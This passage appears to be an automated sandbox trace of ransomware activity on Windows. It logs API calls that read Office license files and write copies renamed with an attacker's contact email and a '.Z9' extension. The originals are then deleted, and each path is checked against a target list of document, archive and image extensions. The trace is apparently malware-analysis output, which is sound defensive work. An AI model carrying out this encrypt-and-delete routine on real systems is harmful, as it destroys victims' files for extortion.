	[0178.420] ReadFile (in: hFile=0x548, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0178.422] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0178.424] ReadFile (in: hFile=0x548, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.424] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0178.424] SetEndOfFile (hFile=0x520) returned 1
	[0178.424] CloseHandle (hObject=0x520) returned 1
	[0178.424] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.424] SetEndOfFile (hFile=0x548) returned 1
	[0178.431] CloseHandle (hObject=0x548) returned 1
	[0178.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1
	[0178.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.434] lstrlenW (lpString=".doc") returned 4
	[0178.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".docx") returned 5
	[0178.434] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.434] lstrlenW (lpString=".pdf") returned 4
	[0178.434] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".xls") returned 4
	[0178.434] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".xlsx") returned 5
	[0178.434] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.434] lstrlenW (lpString=".ppt") returned 4
	[0178.434] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.434] lstrlenW (lpString=".zip") returned 4
	[0178.434] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".rar") returned 4
	[0178.434] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".bz2") returned 4
	[0178.434] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.434] lstrlenW (lpString=".7z") returned 3
	[0178.434] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.435] lstrlenW (lpString=".dbf") returned 4
	[0178.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.435] lstrlenW (lpString=".1cd") returned 4
	[0178.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.435] lstrlenW (lpString=".jpg") returned 4
	[0178.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.435] lstrlenW (lpString=".doc") returned 4
	[0178.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString=".docx") returned 5
	[0178.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.435] lstrlenW (lpString=".pdf") returned 4
	[0178.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString=".xls") returned 4
	[0178.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.435] lstrlenW (lpString=".xlsx") returned 5
	[0178.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.436] lstrlenW (lpString=".ppt") returned 4
	[0178.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.436] lstrlenW (lpString=".zip") returned 4
	[0178.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".rar") returned 4
	[0178.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".bz2") returned 4
	[0178.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".7z") returned 3
	[0178.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.436] lstrlenW (lpString=".dbf") returned 4
	[0178.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.436] lstrlenW (lpString=".1cd") returned 4
	[0178.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0178.436] lstrlenW (lpString=".jpg") returned 4
	[0178.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.437] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.437] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32
	[0178.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.438] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10663) returned 1
	[0178.438] CloseHandle (hObject=0x548) returned 1
	[0178.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0178.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.439] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.439] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.441] GetLastError () returned 0x0
	[0178.441] ReadFile (in: hFile=0x548, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x29a7, lpOverlapped=0x0) returned 1
	[0178.444] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0178.446] ReadFile (in: hFile=0x548, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.446] WriteFile (in: hFile=0x520, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x114, lpOverlapped=0x0) returned 1
	[0178.446] SetEndOfFile (hFile=0x520) returned 1
	[0178.446] CloseHandle (hObject=0x520) returned 1
	[0178.446] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.446] SetEndOfFile (hFile=0x548) returned 1
	[0178.451] CloseHandle (hObject=0x548) returned 1
	[0178.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1
	[0178.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.541] lstrlenW (lpString=".doc") returned 4
	[0178.541] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".docx") returned 5
	[0178.542] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.542] lstrlenW (lpString=".pdf") returned 4
	[0178.542] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".xls") returned 4
	[0178.542] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".xlsx") returned 5
	[0178.542] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.542] lstrlenW (lpString=".ppt") returned 4
	[0178.542] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.542] lstrlenW (lpString=".zip") returned 4
	[0178.542] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".rar") returned 4
	[0178.542] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".bz2") returned 4
	[0178.542] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString=".7z") returned 3
	[0178.542] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.542] lstrlenW (lpString=".dbf") returned 4
	[0178.542] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.542] lstrlenW (lpString=".1cd") returned 4
	[0178.543] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.543] lstrlenW (lpString=".jpg") returned 4
	[0178.543] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.543] lstrlenW (lpString=".doc") returned 4
	[0178.543] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString=".docx") returned 5
	[0178.543] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.543] lstrlenW (lpString=".pdf") returned 4
	[0178.543] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString=".xls") returned 4
	[0178.543] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString=".xlsx") returned 5
	[0178.543] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.543] lstrlenW (lpString=".ppt") returned 4
	[0178.543] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.543] lstrlenW (lpString=".zip") returned 4
	[0178.543] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.543] lstrlenW (lpString=".rar") returned 4
	[0178.543] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.544] lstrlenW (lpString=".bz2") returned 4
	[0178.544] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.544] lstrlenW (lpString=".7z") returned 3
	[0178.544] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.544] lstrlenW (lpString=".dbf") returned 4
	[0178.544] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.544] lstrlenW (lpString=".1cd") returned 4
	[0178.544] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0178.544] lstrlenW (lpString=".jpg") returned 4
	[0178.544] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.544] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.544] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33
	[0178.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.546] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=22093) returned 1
	[0178.546] CloseHandle (hObject=0x4a8) returned 1
	[0178.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0178.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.547] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.547] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0178.550] GetLastError () returned 0x0
	[0178.550] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x564d, lpOverlapped=0x0) returned 1
	[0178.553] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0178.555] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.555] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.555] SetEndOfFile (hFile=0x538) returned 1
	[0178.555] CloseHandle (hObject=0x538) returned 1
	[0178.555] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.555] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.563] CloseHandle (hObject=0x4a8) returned 1
	[0178.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1
	[0178.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.566] lstrlenW (lpString=".doc") returned 4
	[0178.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.566] lstrlenW (lpString=".docx") returned 5
	[0178.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.566] lstrlenW (lpString=".pdf") returned 4
	[0178.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString=".xls") returned 4
	[0178.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString=".xlsx") returned 5
	[0178.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.567] lstrlenW (lpString=".ppt") returned 4
	[0178.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.567] lstrlenW (lpString=".zip") returned 4
	[0178.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString=".rar") returned 4
	[0178.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString=".bz2") returned 4
	[0178.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString=".7z") returned 3
	[0178.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.567] lstrlenW (lpString=".dbf") returned 4
	[0178.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.567] lstrlenW (lpString=".1cd") returned 4
	[0178.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.567] lstrlenW (lpString=".jpg") returned 4
	[0178.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.568] lstrlenW (lpString=".doc") returned 4
	[0178.568] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString=".docx") returned 5
	[0178.568] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.568] lstrlenW (lpString=".pdf") returned 4
	[0178.568] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString=".xls") returned 4
	[0178.568] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString=".xlsx") returned 5
	[0178.568] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.568] lstrlenW (lpString=".ppt") returned 4
	[0178.568] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.568] lstrlenW (lpString=".zip") returned 4
	[0178.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString=".rar") returned 4
	[0178.568] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.568] lstrlenW (lpString=".bz2") returned 4
	[0178.568] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.569] lstrlenW (lpString=".7z") returned 3
	[0178.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.569] lstrlenW (lpString=".dbf") returned 4
	[0178.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.569] lstrlenW (lpString=".1cd") returned 4
	[0178.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0178.569] lstrlenW (lpString=".jpg") returned 4
	[0178.569] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.569] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.569] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36
	[0178.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.571] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11617) returned 1
	[0178.571] CloseHandle (hObject=0x4a8) returned 1
	[0178.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
